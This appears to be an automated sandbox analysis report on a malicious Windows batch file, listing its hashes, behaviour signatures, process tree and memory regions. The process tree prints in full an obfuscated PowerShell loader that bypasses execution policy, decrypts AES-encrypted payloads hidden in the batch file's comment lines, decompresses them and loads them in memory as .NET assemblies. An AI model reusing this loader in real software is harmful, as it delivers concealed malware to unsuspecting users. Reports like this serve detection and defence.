Analysis

  • max time kernel
    51s
  • max time network
    54s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/06/2024, 22:05

General

  • Target

    JC_FUCKER.bat

  • Size

    9.4MB

  • MD5

    56a787737f38ccf89a52a0ecef3fa02f

  • SHA1

    37bc3a8bf4cb02f466a4aed0c29e6624f1f0afd4

  • SHA256

    2f10b92e2eb2603d9a175de8612e0a019de6120a08e9692fb257d6762fcb9d5b

  • SHA512

    006590f8af3517b30a021cd1ddd14d9e07acf6e99c035c73f4bdd3433771679ee3798004a6cf2f3d4cdcc9bacb4274ee650e7d48ec8309cf9631dad735f9846d

  • SSDEEP

    49152:XL6IQA9BF+ibdjFpF9N1J8HGzCGSJxd1ENOLMZ3Sni9Ygyd5n9yuw/kr/Xs6axAJ:Xo

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2448

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v1cnm3on.rnq.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2448-0-0x00007FFC0AB83000-0x00007FFC0AB85000-memory.dmp

    Filesize

    8KB

  • memory/2448-10-0x000002075CD90000-0x000002075CDB2000-memory.dmp

    Filesize

    136KB

  • memory/2448-11-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

    Filesize

    10.8MB

  • memory/2448-12-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

    Filesize

    10.8MB

  • memory/2448-13-0x0000020740DB0000-0x0000020740DB8000-memory.dmp

    Filesize

    32KB

  • memory/2448-14-0x000002077D780000-0x000002077DE96000-memory.dmp

    Filesize

    7.1MB

  • memory/2448-15-0x000002075D160000-0x000002075E160000-memory.dmp

    Filesize

    16.0MB

  • memory/2448-16-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

    Filesize

    10.8MB

  • memory/2448-19-0x00007FFC0AB80000-0x00007FFC0B641000-memory.dmp

    Filesize

    10.8MB